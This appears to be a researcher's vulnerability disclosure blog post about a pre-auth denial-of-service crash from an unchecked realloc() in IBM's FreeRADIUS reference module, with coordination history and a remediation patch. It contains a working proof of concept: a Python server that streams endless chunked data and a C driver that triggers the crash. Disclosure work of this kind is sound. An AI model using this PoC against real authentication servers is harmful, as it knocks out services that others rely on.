top of page

Walkthrough: Pre-auth DoS in IBM Verify FreeRADIUS reference module (unchecked realloc)

  • Hacking By Doing
  • Oct 9
  • 6 min read

Updated: Oct 18

ree

I found a crash bug in IBM's FreeRADIUS reference module that anyone can trigger remotely, no authentication needed. The vulnerability is straightforward: when the module receives a massive HTTP response, it tries to grow a buffer with realloc(), doesn't check if that fails, and then crashes when it tries to use the NULL pointer.

IBM pulled the repo and declined to assign a CVE, calling it "reference-only" code. But as you'll see from the README screenshots, it sure looked production-ready to me.


Executive summary

A denial-of-service crash exists in the reference code’s HTTP path due to unchecked realloc() in WriteMemoryCallback. When a client receives an arbitrarily large/streaming HTTP response, realloc() can return NULL. The code then proceeds to use the buffer, which later bubbles into an asprintf() with the contents of that buffer, resulting in a crash (pre-auth DoS).

This walkthrough shows:

  • the relevant code paths (WriteMemoryCallback, http_callout),

  • the exact PoC I used (a tiny Python server that streams chunked data; a C driver that calls into the module),

  • how to reproduce, what you should observe, and a minimal fix pattern.


Threat model

  • The daemon/module built from this code makes HTTP/REST callouts (common for policy/auth integration).

  • An attacker can cause that callout to reach an attacker-controlled origin (e.g., upstream compromise, DNS/routing mix-ups, pointing test/dev to attacker infrastructure, or on-path when TLS isn’t enforced).

  • The attacker intentionally streams a very large response, causing realloc() to fail and the process to crash.

This is pre-auth, no user interaction, network-reachable DoS once those preconditions are met.


Code deep-dive (from isam.c)

The vulnerable callback

static size_t WriteMemoryCallback(void *ptr, size_t size,
                                                    size_t nmemb, void *data){
    char METHOD_NAME[] = "WriteMemoryCallback()";
    printf("%s: >>>>>>>>>> Entering %s\\r\\n", ISAM_SDK_NAME, METHOD_NAME);

    size_t realsize = size * nmemb;

    struct BufferStruct * mem = (struct BufferStruct *) data;

    mem->buffer = (char*) realloc(mem->buffer, mem->size + realsize + 1);

    printf("%s: %s After memory reallocation \\r\\n", ISAM_SDK_NAME, METHOD_NAME);

    if ( mem->buffer )
    {
        memcpy( &( mem->buffer[ mem->size ] ), ptr, realsize );
        mem->size += realsize;
        mem->buffer[ mem->size ] = 0;
    }

    printf("%s: <<<<<<<<<< Exiting %s\\r\\n", ISAM_SDK_NAME, METHOD_NAME);
    return realsize;
}

The buffer grows with realloc() on every chunk. If realloc() fails and returns NULL, the code still continues (guarded only by the if (mem->buffer) block), leaving the buffer pointer potentially NULL after return.

For context, the buffer type:

struct BufferStruct {
    char * buffer;
    size_t size;
};

Where the (possibly NULL) buffer is later used

Downstream in http_callout, after the transfer finishes and curl is cleaned up, the code copies the accumulated data into the response:

/* always cleanup */
curl_easy_cleanup(curl);

asprintf(&response->payload, "%s", output.buffer);
// TODO - why doesn't this work ?
// asprintf(&response->code, "%d",http_code);
response->code = http_code;

If output.buffer is NULL due to an earlier failed realloc(), this crashes.


Reproduction (PoC)

1) Start the mock malicious server

This server replies to any POST with chunked data in a loop (endless stream). Save as mock_server.py

import http.server
import socketserver
import time

PORT = 8080

class MaliciousHandler(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):
        """
        Responds to any POST request with a large, chunked payload to
        force a memory allocation failure in the client.
        """
        try:
            print(f"Received POST request from {self.client_address}")
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            # Use chunked encoding instead of Content-Length
            self.send_header("Transfer-Encoding", "chunked")
            self.end_headers()

            print("Sending a large chunked response to crash the client...")
            chunk_data = b'A' * 8192 # 8KB chunk

            # Send many chunks until the client's connection breaks
            while True:
                # Format for chunked encoding: size in hex, followed by data
                self.wfile.write(f"{len(chunk_data):x}\\r\\n".encode('ascii'))
                self.wfile.write(chunk_data)
                self.wfile.write(b"\\r\\n")
                # A small delay can help ensure the data is sent before the next write
                time.sleep(0.01)

        except (socket.error, ConnectionResetError) as e:
            # THIS IS THE EXPECTED OUTCOME!
            print(f"\\nSUCCESS: Client connection broke as expected: {e}")
            print("This indicates the client process likely crashed while reading the stream.")
        except Exception as e:
            print(f"An unexpected error occurred: {e}")

with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd:
    print(f"Mock malicious server listening on port {PORT}")
    httpd.serve_forever()

Run it:

python3 mock_server.py

Leave it running.


2) Build and run your C PoC

poc.c drives the vulnerable code. (Exact compile line depends on your environment; this code uses libcurl and threads via the code in isam.c.)

#include <stdio.h>
#include <stdlib.h>
#include "isam.h"

// Define globals required by isam.c
STATES *session_states = NULL;
pthread_mutex_t lock;

int main() {
    printf("--- Starting DOS PoC for IBM-Verify-FreeRADIUS ---\\n");

    if (ISAM_INIT() != 0) {
        fprintf(stderr, "PoC failed: ISAM_INIT() error.\\n");
        return 1;
    }

...
    // with a massive body, causing realloc() to fail in WriteMemoryCallback.
    printf("[PoC] Calling ISAM_CALL_AUTH_POLICY to trigger the vulnerability. Expecting a crash...\\n");
    ISAM_CALL_AUTH_POLICY(policy);

    // This part will likely not be reached
    printf("[PoC] If you see this, the exploit failed.\\n");
    ISAM_POLICY_PRINT(policy);
    free(host);
    free(policy->response);
    free(policy);
    ISAM_SHUTDOWN();

    return 0;
}

(Include isam.c, isam.h, and cJSON.c alongside the PoC. Build all together and link against libcurl and pthread to match your setup.)

Run the resulting binary while the Python server is running.


3) What you should observe

  • The C process grows memory and then segfaults in the path that dereferences/prints data from output.buffer.

  • The Python server prints a connection broken message (expected; the client died).


Minimal remediation

Use a temp pointer for realloc() and handle failure. Also ensure the transfer stops cleanly so the code doesn’t continue with a null buffer.

char *new_buffer = (char*)realloc(mem->buffer, mem->size + realsize + 1);
if (new_buffer == NULL) {
    // handle: log, clean up, abort transfer; avoid using mem->buffer
    return 0; // tell libcurl to stop / signal failure
}
mem->buffer = new_buffer;
memcpy(&(mem->buffer[mem->size]), ptr, realsize);
mem->size += realsize;
mem->buffer[mem->size] = 0;

(There are other safe patterns, but the key point is never to keep going after a failed realloc() and never to later use a potentially NULL buffer.)


Coordination notes

  • Reported to IBM PSIRT; IBM then removed the repo and declined a CVE, stating it was not part of an IBM product and was only provided as a reference.

  • CERT/CC (VINCE) reviewed and, since IBM is the CNA and the repo is removed, advised public disclosure rather than CVE assignment.

  • This post documents the behavior for historical/technical accuracy and to help downstream consumers spot and fix similar patterns.


Files needed for replication.

  • isam.c / isam.h (reference module code; includes WriteMemoryCallback, http_callout, related structs).

  • cJSON.c (dependency used by the code).

  • poc.c (driver that calls into the module to trigger the crash).

  • mock_server.py (chunked streaming server that forces allocation failure).


Was this really just “reference code”?

IBM’s PSIRT told me the repository was “reference-only, not included in any IBM products,” and they removed it after my report. That may be true from a support/CNA-scope perspective. But the way the repo presented itself publicly looked deployable to a reasonable operator.


What the README actually looked like (screenshots below)

  • Tagline: “IBM Verify FreeRADIUS module for enhanced authentication.”

  • Quick start: a section explicitly labeled “For normal production usage:” with

docker build --no-cache -t jared/verify-freeradius
docker-compose up -d
  • Architecture diagram showing the module placed between a RADIUS client and IBM Verify.

  • Configuration: parameter table + a full example configuration stanza.

  • Compatibility matrix: “Compatible Radius Clients” table with TESTED statuses (e.g., radclient, PAM Radius, Dell/One Identity).

  • Build & deployment: “Building from Source,” Docker setup, “Existing installation setup,” and a Shell Test Client section.


Why a reasonable admin would treat it as deployable

  • Language like “For normal production usage” and “TESTED” client entries implies intended real-world use, not a toy sample.

  • End-to-end onboarding content (Docker/Vagrant, config tables, test client) is framed for operators, not just SDK readers.

  • A permissive open-source license and a full module tree (src/rlm_verify, Dockerfile, docker-compose.yml) further suggest it was meant to be run.


What IBM told me (their position)


ree
“Upon further inspection, this code was never included in any IBM products and was only provided as a general reference for others. As no IBM products were impacted, we will not be publishing a bulletin or creating a CVE. We do thank you for your report and for helping keep IBM products secure. Please let us know if you find any other issues. Thanks.”

I’m including this statement verbatim so readers understand the non-CVE outcome and IBM’s stance.


My take

Whether or not IBM supported this as a product, the repo was publicly distributed and documented in a way that invited real deployments. That’s why I treated the crash as worth documenting with a full repro and mitigation pattern. CERT/CC reviewed and, because IBM is the CNA and the repo is now unavailable, advised public disclosure rather than CVE assignment. I’m publishing this write-up as a historical, technical record to help downstream consumers spot and fix the same realloc() pattern elsewhere.


Screenshots from WayBackMachine:


README tagline + repo tree (Dockerfile/compose present).

ree

Quick start with For normal production usage.

ree

Architecture diagram (module between RADIUS and IBM Verify).

ree

Shell Test Client + build instructions.

ree

Compatibility matrix with TESTED entries.

ree

Credits

Discovered and reported by HackingByDoing.

 
 
bottom of page